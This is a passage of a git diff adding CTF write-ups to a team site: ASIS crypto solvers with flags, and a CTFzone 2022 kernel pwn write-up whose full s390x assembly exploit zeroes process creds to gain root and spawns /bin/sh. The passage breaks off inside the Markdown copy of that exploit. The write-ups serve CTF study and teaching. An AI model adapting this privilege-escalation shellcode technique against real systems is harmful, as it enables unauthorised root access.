pow(s, dp, p) + uq = pow(s, dq, q) + _, rp, rq = xgcd(p,q) + s_0 = (uq * rp * p + up * rq * q ) % pubkey + + C = [c[h*i:h*i+h] for i in range(t)] + M = [] + for i in range(t): + s_i = pow(s_0, 2, pubkey) + k = bin(s_i)[2:][-h:] + m = bin(int(C[i], 2) ^ int(k, 2))[2:].zfill(h) + M.append(m) + s_0 = s_i + + msg = long_to_bytes(int(''.join(M),2)) + return msg +``` + +With the crypto system all sorted out and checked against the encryption function (without the xorkey) we just need to find a way to do this last step. I started trying to think of a clever way to undo the xor with knowledge of several ct / msg pairs (many of the public keys share common factors) but then i realised that the block size is only 10 bits long and a brute force of `xorkey` would only mean guessing 1024 values. + +So, i took the easy way and included a loop inside my decrypt trying all values for the `xorkey` and storing any decryptions that had the flag format: `ASIS{`. The script takes seconds and finds the flag. + + + +### Implementation + +```python +from Crypto.Util.number import * +import math + +def find_factors(data): + data_length = len(data) + for i in range(data_length): + p = data[i][0] + for j in range(i+1,data_length): + x = data[j][0] + if math.gcd(p,x) != 1: + return i, math.gcd(p,x) + + +def encrypt(msg, pubkey, xorkey): + h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1 # dirty log :/ + m = bytes_to_long(msg) + if len(bin(m)[2:]) % h != 0: + m = '0' * (h - len(bin(m)[2:]) % h) + bin(m)[2:] + else: + m = bin(m)[2:] + t = len(m) // h + M = [m[h*i:h*i+h] for i in range(t)] + r = random.randint(1, pubkey) + s_0 = pow(r, 2, pubkey) + C = [] + for i in range(t): + s_i = pow(s_0, 2, pubkey) + k = bin(s_i)[2:][-h:] + c = bin(int(M[i], 2) ^ int(k, 2) & xorkey)[2:].zfill(h) + C.append(c) + s_0 = s_i + enc = int(''.join(C), 2) + return (enc, pow(s_i, 2, pubkey)) + + +def xgcd(a, b): + """return (g, x, y) such that a*x + b*y = g = gcd(a, b)""" + x0, x1, y0, y1 = 0, 1, 1, 0 + while a != 0: + (q, a), b = divmod(b, a), a + y0, y1 = y1, y0 - q * y1 + x0, x1 = x1, x0 - q * x1 + return b, x0, y0 + + +def decrypt(c, pubkey, p, q, s): + # Idiot checks + assert p*q == pubkey + assert isPrime(p) and isPrime(q) + + h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1 # dirty log :/ + if len(bin(c)[2:]) % h != 0: + c = '0' * (h - len(bin(c)[2:]) % h) + bin(c)[2:] + else: + c = bin(c)[2:] + t = len(c) // h + + # Recover s0 + dp = (((p + 1) // 4)**(t + 1)) % (p - 1) + dq = (((q + 1) // 4)**(t + 1)) % (q - 1) + up = pow(s, dp, p) + uq = pow(s, dq, q) + _, rp, rq = xgcd(p,q) + s0 = (uq * rp * p + up * rq * q ) % pubkey + + + C = [c[h*i:h*i+h] for i in range(t)] + + # Brute xorkey (max size: 2**10 - 1) + flags = [] + for X in range(1024): + # Restore value for brute, and empty M + s_0 = s0 + M = [] + + for i in range(t): + s_i = pow(s_0, 2, pubkey) + k = bin(s_i)[2:][-h:] + m = bin(int(C[i], 2) ^ int(k, 2) & X)[2:].zfill(h) + M.append(m) + s_0 = s_i + + fl = long_to_bytes(int(''.join(M),2)) + try: + flag = fl.decode() + if "ASIS{" in flag: + flags.append(flag) + except: + pass + return flags + +# data from challenge.txt, truncated to only two values save space +data = [[12097881278174698631026228331130314850080947749821686944446636213641310652138488716240453597129801720504043924252478136044035819232933933717808745477909546176235871786148513645805314150829468800301698799525780070273753857243854268554322340900904051857831398492096742127894417784386491191471947863787022245824307084379225579368393254254088207494229400873467930160606087032014972366802086915193167585867760542665623158008113534159892785943512727008525032377162641992852773743617023163398493300810949683112862817889094615912113456275357250831609021007534115476194023075806921879501827098755262073621876526524581992383113, (238917053353586684315740899995117428310480789049456179039998548040503724437945996038505262855730406127564439624355248861040378761737917431951065125651177801663731449217955736133484999926924447066163260418501214626962823479203542542670429310307929651996028669399692119495087327652345, 2361624084930103837444679853087134813420441002241341446622609644025375866099233019653831282014136118204068405467230446591931324445417288447017795525046075282581037551835081365996994851977871855718435321568545719382569106432442084085157579504951352401314610314893848177952589894962335072249886688614676995039846245628481594015356555808852415257590789843672862086889766599032421071154614466932749223855909572291554620301269793104658552481172052104139007105875898227773975867750358642521359331140861015951930087364330158718293540721277710068251667789725792771210694545702423605041261814818477350926741922865054617709373)],[11618071445988286159614546200227554667389205281749443004629117264129957740203770615641847148204810865669191685874152730267573467338950993270113782537765608776375192263405546036787453939829561684834308717115775768421300006618296897365279937358126799904528083922552306565620644818855350306352024366076974759484150214528610355358152789696678410732699598714566977211903625075198935310947340456263339204820065134900427056843183640181066232714511087292771420839344635982165997540089604798288048766074061479118366637656581936395586923631199316711697776366024769039316868119838263452674798226118946060593631451490164411150841, (108436642448932709219121968294434475477600203743366957190466733100162456074942118592019300422638950272524217814290069806411298263273760197756252555274382639125596214182186934977255300451278487595744525177460939465622410473654789382565188319818335934171653755811872501026071194087051, 10240139028494174526454562399217609608280817984150287983207668274231906642607868694849967043415262875107269045985517134901896201464915880088854955991401353416951487254838341232922059441309704096261457984093029892511268213868493162068362288179130193503313930139616441614927005917140608739837772400963531761014330142192223670723732255263011157267423056439150678533763741625000032136535639171133174846473584929951274026212224887370702861958817381113058491861009468609746592170191042660753210307932264867242863839876056977399186229782377108228334204340285592604094505980554432810891123635608989340677684302928462277247999)]] + +i, p = find_factors(data) +n = data[i][0] +c, s = data[i][1] +q = n // p + +print(decrypt(c, n, p, q, s)) +``` + +#### Flag + +`ASIS{1N_h0nOr_oF__Lenore__C4r0l_Blum}` + + +## Tripolar + +**Disclaimer** I didn't solve this challenge during the competition and it took me reading a [writeup](https://ctftime.org/writeup/22112) to understand how this challenge works. I'm writing it up to talk myself through the solution, and maybe someone else will read this and be surprised by the solution too. + +After working through this, my take away is that my intuition for cube roots was way off! The key for solving this challenge is that given a polynomial of the form + + +$$ +f(x, y, z) = x^3 + y^2 + z +$$ + + +One can recover the value of $x$ from taking the cube root of $f(x,y,z)$. Even after I read this, I couldn't believe there wasn't some loss of information of the LSB of $x$, but it seems like it holds, even for small positive integers + +```python +>>> from Crypto.Util.number import * +>>> import gmpy2 +>>> gmpy2.get_context().precision = 4096 +>>> x, y, z = [getPrime(256) for _ in range(3)] +>>> f = x**3 + y**2 + z +>>> _x = gmpy2.iroot(f, 3)[0] +>>> x == _x +True +>>> x, y, z = [getPrime(5) for _ in range(3)] +>>> f = x**3 + y**2 + z +>>> _x = gmpy2.iroot(f, 3)[0] +>>> x == _x +True +``` + +The same is true for quadratic terms, by looking at the square root of $f - x^3$, but here there seems to be a bit less certainty and we find with small enough inputs, the square root approximation can be off by 1. + +Anyway... with my display of ignorance out the way, lets look at the challenge! + + +### Challenge + +```python +#!/usr/bin/python + +from Crypto.Util.number import * +from hashlib import sha1 +from flag import flag + +def crow(x, y, z): + return (x**3 + 3*(x + 2)*y**2 + y**3 + 3*(x + y + 1)*z**2 + z**3 + 6*x**2 + (3*x**2 + 12*x + 5)*y + (3*x**2 + 6*(x + 1)*y + 3*y**2 + 6*x + 2)*z + 11*x) // 6 + +def keygen(nbit): + p, q, r = [getPrime(nbit) for _ in range(3)] + pk = crow(p, q, r) + return (p, q, r, pk) + +def encrypt(msg, key): + p, q, r, pk = key + _msg = bytes_to_long(msg) + assert _msg < p * q * r + _hash = bytes_to_long(sha1(msg).digest()) + _enc = pow(_msg, 31337, p * q * r) + return crow(_enc * pk, pk * _hash, _hash * _enc) + +key = keygen(256) +enc = encrypt(flag, key) +f = open('flag.enc', 'w') +f.write(long_to_bytes(enc)) +f.close() +``` + + +Reading through the code, we see that the flag is encrypted RSA style using three primes $p,q,r$. The message is also hashed with `sha1` and the three primes used for encryption are fed into some fairly ugly polynomial named `crow` to produce another value `pk`. + +The results of these computations are then all taken together, multiplied to and fed into the `crow` function again. The only output of the challenge is `enc`, which is the value of the second evaluation of the `crow` polynomial. + +We then understand this challenge as learning how to find the integer solutions of `crow` so we can work backwards to finding the flag. Solving the first step will give us `_enc`, `_hash` and `pk` and solving `pk = crow(p,q,r)` we can grab the primes and reverse the encryption of `_enc`. But how to we solve `crow`? + +During the competition I got toally sidetracked by the paper [A Strategy for Finding Roots of Multivariate Polynomials with New Applications in Attacking RSA Variants](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.61.8061&rep=rep1&type=pdf) by Jochemsz and May, and decided the solution to this puzzle must be to implement the small integer roots algorithm that they give in 2.2 of the paper. This was hard to specialise to this polynomial and i failed. Potentially this method works, but I couldnt get it to. The closest I got was to notice that the bitsize of `_enc*pk` was larger than the other two elements of `crow` and so by taking the cube root, I could recover the MSB of `_enc*pk`. Typing this up now I see i was kind of close, but thinking totally wrong. + +The real solution is much simplier and elegant and relies on the fact that we can find certain terms in the polynomial due to the various powers of certain terms (I've already explained this a little in the disclaimer). What we find is with a few steps of algebra and a resetting of my intuition of cube roots, this challenge has a nice solution. + + +### Solution + +The first step to solving this challenge is simplifying the polynomial. I went down a rabbit hole of Legendre polynomials, taking the "dipole" hint way too seriously. Im not sure what the "Tripolar" hint was pointing towards... maybe some can enlighten me. + +The crow polynomial is given to us in the form + +$$ +\begin{align} +C(x,y,x) &= \frac16 \big( x^3 + 3(x + 2)y^2 + y^3 + 3(x + y + 1)z^2 + z^3 + 6x^2\\ + &+ (3x^2 + 12x + 5)y + (3x^2 + 6(x + 1)y + 3y^2 + 6x + 2)z + 11x \big) +\end{align} +$$ + +This is a big mess, but we can notice that the coefficient for all cubic terms is $1$ (ignoring the overall factor of a sixth) and we can start to piece together simple parts of this expression until we obtain + +$$ +C(x,y,z) = \frac16 \left((x + y + z + 1 )^3 + 3(x + y + 1)^2 + 2(x + y + 1) - 6y - z - 6 \right) +$$ + +This is looking better, and by renaming a few pieces we get the polynomial into the form + +$$ +C(x,y,z) = \frac16 \left( f^3 + 3h^2 +2h -6y - z - 6 \right) \\ +$$ + +Where we have defined + +$$ +f(x,y,z) = x + y + z + 1 \qquad h(x,y) = x + y + 1 +$$ + + +We now see how the disclaimer discussed above is going to help us. By taking the cube root of `enc`, we will recover the value for $f(x,y,z)$! Following this, we know that + + +$$ +6 C - f^3 = 3h^2 + 2h - 6y - z - 6, +$$ + + +and by the same approximation, the square root of the left hand side will be a good approximation for $h$. **Note** for the second time we solve `crow` with the smaller inputs of the three primes, we will find this approximation is off by one, which can be spotted by either making mistakes, or trying out this step with some known values of $p,q,r$. + +With knowledge of both $f(x,y,z)$ and $h(x,y)$, we can recover the input values from the three expressions + + +$$ +\begin{align} +z &= f - h \\ +y &= -\frac16 \left( 6C - f^3 - 3h^2 - 2h + z + 6\right) \\ +x &= h - y - 1 +\end{align} +$$ + + +With the triple $(x,y,z)$ from `crow` we can find the input parameters from the gcd of the inputs: + +```python +import math + +_enc = math.gcd(x,z) +pk = math.gcd(x,y) +_hash = math.gcd(y,z) +``` + +Solving `crow` from `pk` will give three primes $p,q,r$ and from that we can decrypt `_enc` from + +```python +from Crypto.Util.number import * + +N = p*q*r +phi = (p-1)*(q-1)*(r-1) +d = inverse(31337, phi) +m = pow(_enc, d, N) +print(long_to_bytes(m)) +``` + + + +### Implementation + + +```python +import gmpy2 +import math +from Crypto.Util.number import * +from hashlib import sha1 +gmpy2.get_context().precision = 4096 + +def crow(x, y, z): + return (x**3 + 3*(x + 2)*y**2 + y**3 + 3*(x + y + 1)*z**2 + z**3 + 6*x**2 + (3*x**2 + 12*x + 5)*y + (3*x**2 + 6*(x + 1)*y + 3*y**2 + 6*x + 2)*z + 11*x) // 6 + + +def keygen(nbit): + p, q, r = [getPrime(nbit) for _ in range(3)] + pk = crow(p, q, r) + return (p, q, r, pk) + + +def encrypt(msg, key): + p, q, r, pk = key + _msg = bytes_to_long(msg) + assert _msg < p * q * r + _hash = bytes_to_long(sha1(msg).digest()) + _enc = pow(_msg, 31337, p * q * r) + return crow(_enc * pk, pk * _hash, _hash * _enc) + + +def alt_crow(x, y, z): + return ((x + y + z + 1 )**3 + 3*(x + y + 1)**2 + 2*(x + y + 1) - 6*y - z - 6) // 6 + + +def solve_crow(c, delta): + """ + Solve equation of the form: + crow = [(x + y + z + 1 )**3 + 3*(x + y + 1)**2 + 2*(x + y + 1) - 6*y - z - 6] // 6 + = [f^3 + 3h^3 + 2h - g] // 6 + f = x + y + z + 1 + h = x + y + 1 + g = 6y + z + 6 + """ + f = gmpy2.iroot(6*c, 3)[0] + h2 = (6*c - f**3) // 3 + """ + For small values of inputs, the square root is off by one + """ + h = gmpy2.iroot(h2, 2)[0] + delta + z = f - h + y = -(6*c - f**3 - 3*h**2 - 2*h + z + 6) // 6 + x = h - y - 1 + assert crow(x, y, z) == c + return x,y,z + + +def decrypt(ct): + # Solve for arguments + x, y, z = solve_crow(ct, 0) + assert crow(x, y, z) == ct + + # Recover pieces + _enc = math.gcd(x, z) + pk = x // _enc + _hash = z // _enc + assert crow(_enc * pk, pk * _hash, _hash * _enc) == ct + + # Solve for primes + p, q, r = solve_crow(pk, 1) + assert crow(p, q, r) == pk + + # Solve encryption + N = p*q*r + phi = (p-1)*(q-1)*(r-1) + d = inverse(31337, phi) + m = pow(_enc, d, N) + return long_to_bytes(m) + +# Sanity test +p, q, r, pk = keygen(256) +# Check alt form is correct +assert alt_crow(p,q,r) == pk +# Check solver finds values +x, y, z = solve_crow(pk, 1) +assert x == p and y == q and z == r + +ct = open('flag.enc', "rb").read() +ct = bytes_to_long(ct) +flag = decrypt(ct) +print(flag) +``` + + +#### Flag + +`ASIS{I7s__Fueter-PoLy4__c0nJ3c7UrE_iN_p4Ir1n9_FuNCT10n}` diff --git a/CNAME b/CNAME new file mode 100644 index 0000000..ec97f5d --- /dev/null +++ b/CNAME @@ -0,0 +1 @@ +org.anize.rs diff --git a/CTFzone-2022/index.html b/CTFzone-2022/index.html new file mode 100755 index 0000000..2dc03de --- /dev/null +++ b/CTFzone-2022/index.html @@ -0,0 +1,216 @@ + + + + + +CTFzone 2022 | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

CTFzone 2022

+ + + + + + + + + + + + + + +
ChallengeCategory
THREE NINETY GADGETpwn
+ + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/CTFzone-2022/index.md b/CTFzone-2022/index.md new file mode 100755 index 0000000..57d6868 --- /dev/null +++ b/CTFzone-2022/index.md @@ -0,0 +1,6 @@ +# CTFzone 2022 + +| Challenge | Category | +|----------------------------------|----------| +| [THREE NINETY GADGET](./pwn/390_gadget) | pwn | + diff --git a/CTFzone-2022/pwn/390_gadget.html b/CTFzone-2022/pwn/390_gadget.html new file mode 100755 index 0000000..6a1352e --- /dev/null +++ b/CTFzone-2022/pwn/390_gadget.html @@ -0,0 +1,426 @@ + + + + + +THREE NINETY GADGET | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

THREE NINETY GADGET

+ +

Authors Nspace

+ +

Tags: pwn, kernel, mainframe, s390

+ +

Points: 500 (1 solve)

+ +
+

one_gadget? kone_gadget? THREE NINETY GADGET!!! nc three_ninety_gadget.ctfz.one 390

+
+ +

Analysis

+ +

This challenge is basically kone_gadget from SECCON 2021 (writeup here) ported to s390x.

+ +

Like in the original challenge, the author patched the kernel to add a new syscall:

+ +
SYSCALL_DEFINE1(s390_gadget, unsigned long, pc)
+{
+    register unsigned long r14 asm("14") = pc;
+    asm volatile("xgr %%r0,%%r0\n"
+             "xgr %%r1,%%r1\n"
+             "xgr %%r2,%%r2\n"
+             "xgr %%r3,%%r3\n"
+             "xgr %%r4,%%r4\n"
+             "xgr %%r5,%%r5\n"
+             "xgr %%r6,%%r6\n"
+             "xgr %%r7,%%r7\n"
+             "xgr %%r8,%%r8\n"
+             "xgr %%r9,%%r9\n"
+             "xgr %%r10,%%r10\n"
+             "xgr %%r11,%%r11\n"
+             "xgr %%r12,%%r12\n"
+             "xgr %%r13,%%r13\n"
+             "xgr %%r15,%%r15\n"
+             ".machine push\n"
+             ".machine z13\n"
+             "vzero %%v0\n"
+             "vzero %%v1\n"
+             "vzero %%v2\n"
+             "vzero %%v3\n"
+             "vzero %%v4\n"
+             "vzero %%v5\n"
+             "vzero %%v6\n"
+             "vzero %%v7\n"
+             "vzero %%v8\n"
+             "vzero %%v9\n"
+             "vzero %%v10\n"
+             "vzero %%v11\n"
+             "vzero %%v12\n"
+             "vzero %%v13\n"
+             "vzero %%v14\n"
+             "vzero %%v15\n"
+             "vzero %%v16\n"
+             "vzero %%v17\n"
+             "vzero %%v18\n"
+             "vzero %%v19\n"
+             "vzero %%v20\n"
+             "vzero %%v21\n"
+             "vzero %%v22\n"
+             "vzero %%v23\n"
+             "vzero %%v24\n"
+             "vzero %%v25\n"
+             "vzero %%v26\n"
+             "vzero %%v27\n"
+             "vzero %%v28\n"
+             "vzero %%v29\n"
+             "vzero %%v30\n"
+             "vzero %%v31\n"
+             ".machine pop\n"
+             "br %0"
+             : : "r" (r14));
+    unreachable();
+}
+
+ +

The custom syscall zeroes every general-purpose register and then jumps to an +address chosen by us. Somehow we have to use this to become root.

+ +

What makes this challenge difficult is that we have to write a kernel exploit for a fairly obscure architecture that no one on the team had seen before, and which is not supported by most of the tools we normally use (pwndbg, gef, vmlinux-to-elf, etc…).

+ +

Exploitation

+ +

The first thing I tried was to replicate the solution we used for the original +challenge at SECCON. Unfortunately that doesn’t work because the root filesystem +is no longer in an initramfs but in an ext2 disk. The flag is no longer in memory +and we would need to read from the disk first.

+ +

I also tried to use the intended solution for the original challenge (inject +shellcode in the kernel by using the eBPF JIT), but…

+ +
/ $ /pwn
+seccomp: Function not implemented
+
+ +

it looks like the challenge kernel is compiled without eBPF or seccomp, so we +can’t use that to inject shellcode either.

+ +

I also tried to load some shellcode in userspace, and then jump to it

+ +
[    4.215891] Kernel stack overflow.
+[    4.216147] CPU: 1 PID: 43 Comm: pwn Not tainted 5.18.10 #1
+[    4.216363] Hardware name: QEMU 3906 QEMU (KVM/Linux)
+[    4.216532] Krnl PSW : 0704c00180000000 0000000001000a62 (0x1000a62)
+[    4.216964]            R:0 T:1 IO:1 EX:1 Key:0 M:1 W:0 P:0 AS:3 CC:0 PM:0 RI:0 EA:3
+[    4.217079] Krnl GPRS: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
+[    4.217140]            0000000000000000 0000000000000000 0000000000000000 0000000000000000
+[    4.217196]            0000000000000000 0000000000000000 0000000000000000 0000000000000000
+[    4.217251]            0000000000000000 0000000000000000 0000000001000a60 0000000000000000
+[    4.218310] Krnl Code: 0000000001000a5c: 0000        illegal
+[    4.218310]            0000000001000a5e: 0000        illegal
+[    4.218310]           #0000000001000a60: 0000        illegal
+[    4.218310]           >0000000001000a62: 0000        illegal
+[    4.218310]            0000000001000a64: 0000        illegal
+[    4.218310]            0000000001000a66: 0000        illegal
+[    4.218310]            0000000001000a68: 0000        illegal
+[    4.218310]            0000000001000a6a: 0000        illegal
+[    4.218850] Call Trace:
+[    4.219231]  [<00000000001144de>] show_regs+0x4e/0x80
+[    4.219718]  [<000000000010196a>] kernel_stack_overflow+0x3a/0x50
+[    4.219780]  [<0000000000000200>] 0x200
+[    4.219958] Last Breaking-Event-Address:
+[    4.219996]  [<0000000000000000>] 0x0
+[    4.220445] Kernel panic - not syncing: Corrupt kernel stack, can't continue.
+[    4.220652] CPU: 1 PID: 43 Comm: pwn Not tainted 5.18.10 #1
+[    4.220727] Hardware name: QEMU 3906 QEMU (KVM/Linux)
+[    4.220792] Call Trace:
+[    4.220816]  [<00000000004ce1a2>] dump_stack_lvl+0x62/0x80
+[    4.220879]  [<00000000004c4d16>] panic+0x10e/0x2d8
+[    4.220933]  [<0000000000101980>] s390_next_event+0x0/0x40
+[    4.220986]  [<0000000000000200>] 0x200
+
+ +

Unfortunately that didn’t work either. At this point I started reading more about +the architecture that the challenge it’s running on. I found this page from the +Linux kernel documentation, as well as IBM’s manual useful.

+ +

As it turns out, on z/Architecture the kernel and userspace programs run in +completely different address spaces. Userspace memory is simply not accessible +from kernel mode without using special instructions and we cannot jump to +shellcode there.

+ +

At this point I was out of ideas and I started looking at the implementation of +Linux’s system call handler for inspiration. One thing that I found interesting +is that the system call handler reads information such as the kernel stack +from a special page located at address zero. The structure of this special zero +page (lowcore) is described in this Linux header file.

+ +

Interestingly enough on this architecture, or at least on the version emulated by +QEMU, all memory is executable. Linux’s system call handler even jumps to a +location in the zero page to return to userspace. If we could place some +controlled data somewhere, we could just jump to it to get arbitrary code +execution in the kernel.

+ +

At some point I started looking at the contents of the zero page in gdb and I +realized that there is some memory that we could control there and use as +shellcode. For example save_area_sync at offset 0x200 contains the values of +registers r8-r15 before the system call. The values of those registers are completely +controlled by us in userspace. What if we placed some shellcode in the registers +and jumped to it? I used a very similar idea to solve kernote from the 0CTF 2021 finals +except this time instead of merely using the saved registers as a ROP chain, +they’re actually executable and we can use them to store actual shellcode!

+ +

We only have 64 bytes of space for the shellcode, which isn’t a lot but should +be enough for a small snippet that gives us root and returns to userspace.

+ +

The zero page even contains a pointer to the current task, and we can use that +to find a pointer to our process’s creds structure and zero the uid to get root.

+ +

Here is the full exploit:

+ +
.section .text
+.globl _start
+.type _start, @function
+_start:
+    larl %r5, shellcode
+    lg %r8, 0(%r5)
+    lg %r9, 8(%r5)
+    lg %r10, 16(%r5)
+    lg %r11, 24(%r5)
+    lg %r12, 32(%r5)
+    lg %r13, 40(%r5)
+    lg %r14, 48(%r5)
+    lg %r15, 56(%r5)
+    lghi %r1, 390
+    lghi %r2, 0x200
+    svc 0
+
+userret:
+    # Launch a shell
+    lghi %r1, 11
+    larl %r2, binsh
+    larl %r3, binsh_argv
+    lghi %r4, 0
+    svc 11
+
+binsh:
+    .asciz "/bin/sh"
+
+binsh_argv:
+    .quad binsh
+    .quad 0
+
+.align 16
+shellcode:
+    lg %r12, 0x340
+    lg %r15, 0x348
+
+    # Zero the creds
+    lghi %r0, 0
+    lg %r1, 0x810(%r12)
+    stg %r0, 4(%r1)
+
+    # Return to userspace
+    lctlg %c1, %c1, 0x390
+    stpt 0x2C8
+    lpswe 0x200 + pswe - shellcode
+
+.align 16
+pswe:
+    # Copied from gdb
+    .quad 0x0705200180000000
+    .quad userret
+
+ +

Flag: CTFZone{pls_only_l0wcor3_m3th0d_n0__nintend3d_kthxbye}

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/CTFzone-2022/pwn/390_gadget.md b/CTFzone-2022/pwn/390_gadget.md new file mode 100755 index 0000000..9ff925f --- /dev/null +++ b/CTFzone-2022/pwn/390_gadget.md @@ -0,0 +1,229 @@ +# THREE NINETY GADGET + +**Authors** [Nspace](https://twitter.com/_MatteoRizzo) + +**Tags**: pwn, kernel, mainframe, s390 + +**Points**: 500 (1 solve) + +> one_gadget? kone_gadget? [THREE NINETY GADGET!!!](https://ctf.bi.zone/files/three_ninety_gadget_824de25c9ea8a326964a4d1cb5c0e98ed2506416e13093334cc07dc69beb23d7.tar.xz) nc three_ninety_gadget.ctfz.one 390 + +## Analysis + +This challenge is basically `kone_gadget` from SECCON 2021 (writeup [here](../../SECCON-2021/pwn/kone_gadget)) ported to s390x. + +Like in the original challenge, the author patched the kernel to add a new syscall: + +```c +SYSCALL_DEFINE1(s390_gadget, unsigned long, pc) +{ + register unsigned long r14 asm("14") = pc; + asm volatile("xgr %%r0,%%r0\n" + "xgr %%r1,%%r1\n" + "xgr %%r2,%%r2\n" + "xgr %%r3,%%r3\n" + "xgr %%r4,%%r4\n" + "xgr %%r5,%%r5\n" + "xgr %%r6,%%r6\n" + "xgr %%r7,%%r7\n" + "xgr %%r8,%%r8\n" + "xgr %%r9,%%r9\n" + "xgr %%r10,%%r10\n" + "xgr %%r11,%%r11\n" + "xgr %%r12,%%r12\n" + "xgr %%r13,%%r13\n" + "xgr %%r15,%%r15\n" + ".machine push\n" + ".machine z13\n" + "vzero %%v0\n" + "vzero %%v1\n" + "vzero %%v2\n" + "vzero %%v3\n" + "vzero %%v4\n" + "vzero %%v5\n" + "vzero %%v6\n" + "vzero %%v7\n" + "vzero %%v8\n" + "vzero %%v9\n" + "vzero %%v10\n" + "vzero %%v11\n" + "vzero %%v12\n" + "vzero %%v13\n" + "vzero %%v14\n" + "vzero %%v15\n" + "vzero %%v16\n" + "vzero %%v17\n" + "vzero %%v18\n" + "vzero %%v19\n" + "vzero %%v20\n" + "vzero %%v21\n" + "vzero %%v22\n" + "vzero %%v23\n" + "vzero %%v24\n" + "vzero %%v25\n" + "vzero %%v26\n" + "vzero %%v27\n" + "vzero %%v28\n" + "vzero %%v29\n" + "vzero %%v30\n" + "vzero %%v31\n" + ".machine pop\n" + "br %0" + : : "r" (r14)); + unreachable(); +} +``` + +The custom syscall zeroes every general-purpose register and then jumps to an +address chosen by us. Somehow we have to use this to become root. + +What makes this challenge difficult is that we have to write a kernel exploit for a fairly obscure architecture that no one on the team had seen before, and which is not supported by most of the tools we normally use (pwndbg, gef, vmlinux-to-elf, etc...). + +## Exploitation + +The first thing I tried was to replicate the solution we used for the original +challenge at SECCON. Unfortunately that doesn't work because the root filesystem +is no longer in an initramfs but in an ext2 disk. The flag is no longer in memory +and we would need to read from the disk first. + +I also tried to use the intended solution for the original challenge (inject +shellcode in the kernel by using the eBPF JIT), but... + +``` +/ $ /pwn +seccomp: Function not implemented +``` + +it looks like the challenge kernel is compiled without eBPF or seccomp, so we +can't use that to inject shellcode either. + +I also tried to load some shellcode in userspace, and then jump to it + +``` +[ 4.215891] Kernel stack overflow. +[ 4.216147] CPU: 1 PID: 43 Comm: pwn Not tainted 5.18.10 #1 +[ 4.216363] Hardware name: QEMU 3906 QEMU (KVM/Linux) +[ 4.216532] Krnl PSW : 0704c00180000000 0000000001000a62 (0x1000a62) +[ 4.216964] R:0 T:1 IO:1 EX:1 Key:0 M:1 W:0 P:0 AS:3 CC:0 PM:0 RI:0 EA:3 +[ 4.217079] Krnl GPRS: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +[ 4.217140] 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +[ 4.217196] 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +[ 4.217251] 0000000000000000 0000000000000000 0000000001000a60 0000000000000000 +[ 4.218310] Krnl Code: 0000000001000a5c: 0000 illegal +[ 4.218310] 0000000001000a5e: 0000 illegal +[ 4.218310] #0000000001000a60: 0000 illegal +[ 4.218310] >0000000001000a62: 0000 illegal +[ 4.218310] 0000000001000a64: 0000 illegal +[ 4.218310] 0000000001000a66: 0000 illegal +[ 4.218310] 0000000001000a68: 0000 illegal +[ 4.218310] 0000000001000a6a: 0000 illegal +[ 4.218850] Call Trace: +[ 4.219231] [<00000000001144de>] show_regs+0x4e/0x80 +[ 4.219718] [<000000000010196a>] kernel_stack_overflow+0x3a/0x50 +[ 4.219780] [<0000000000000200>] 0x200 +[ 4.219958] Last Breaking-Event-Address: +[ 4.219996] [<0000000000000000>] 0x0 +[ 4.220445] Kernel panic - not syncing: Corrupt kernel stack, can't continue. +[ 4.220652] CPU: 1 PID: 43 Comm: pwn Not tainted 5.18.10 #1 +[ 4.220727] Hardware name: QEMU 3906 QEMU (KVM/Linux) +[ 4.220792] Call Trace: +[ 4.220816] [<00000000004ce1a2>] dump_stack_lvl+0x62/0x80 +[ 4.220879] [<00000000004c4d16>] panic+0x10e/0x2d8 +[ 4.220933] [<0000000000101980>] s390_next_event+0x0/0x40 +[ 4.220986] [<0000000000000200>] 0x200 +``` + +Unfortunately that didn't work either. At this point I started reading more about +the architecture that the challenge it's running on. I found [this page](https://www.kernel.org/doc/html/v5.3/s390/debugging390.html) from the +Linux kernel documentation, as well as IBM's manual useful. + +As it turns out, on z/Architecture the kernel and userspace programs run in +completely different address spaces. Userspace memory is simply not accessible +from kernel mode without using special instructions and we cannot jump to +shellcode there. + +At this point I was out of ideas and I started looking at the implementation of +Linux's system call handler for inspiration. One thing that I found interesting +is that the system call handler reads information such as the kernel stack +from a special page located at address zero. The structure of this special zero +page (lowcore) is described in [this Linux header file](https://elixir.bootlin.com/linux/latest/source/arch/s390/include/asm/lowcore.h). + +Interestingly enough on this architecture, or at least on the version emulated by +QEMU, all memory is executable. Linux's system call handler even jumps to a +location in the zero page to return to userspace. If we could place some +controlled data somewhere, we could just jump to it to get arbitrary code +execution in the kernel. + +At some point I started looking at the contents of the zero page in gdb and I +realized that there _is_ some memory that we could control there and use as +shellcode. For example `save_area_sync` at offset 0x200 contains the values of +registers r8-r15 before the system call. The values of those registers are completely +controlled by us in userspace. What if we placed some shellcode in the registers +and jumped to it? I used a very similar idea to solve [kernote](../../0CTF-2021-finals/pwn/kernote) from the 0CTF 2021 finals +except this time instead of merely using the saved registers as a ROP chain, +they're actually executable and we can use them to store actual shellcode! + +We only have 64 bytes of space for the shellcode, which isn't a lot but should +be enough for a small snippet that gives us root and returns to userspace. + +The zero page even contains a pointer to the current task, and we can use that +to find a pointer to our process's creds structure and zero the uid to get root. + +Here is the full exploit: + +``` +.section .text +.globl _start +.type _start, @function +_start: + larl %r5, shellcode + lg %r8, 0(%r5) + lg %r9, 8(%r5) + lg %r10, 16(%r5) + lg %r11, 24(%r5) + lg %r12, 32(%r5) + lg %r13, 40(%r5) + lg %r14, 48(%r5) + lg %r15, 56(%r5) + lghi %r1, 390 + lghi %r2, 0x200 + svc 0 + +userret: + # Launch a shell + lghi %r1, 11 + larl %r2, binsh + larl %r3, binsh_argv + lghi %r4, 0 + svc 11 + +binsh: + .asciz "/bin/sh" + +binsh_argv: + .quad binsh + .quad 0 + +.align 16 +shellcode: + lg %r12, 0x340 + lg %r15, 0x348 + + # Zero the creds + lghi %r0, 0 + lg %r1, 0x810(%r12) + stg %r0, 4(%r1) + + # Return to userspace + lctlg %c1, %c1, 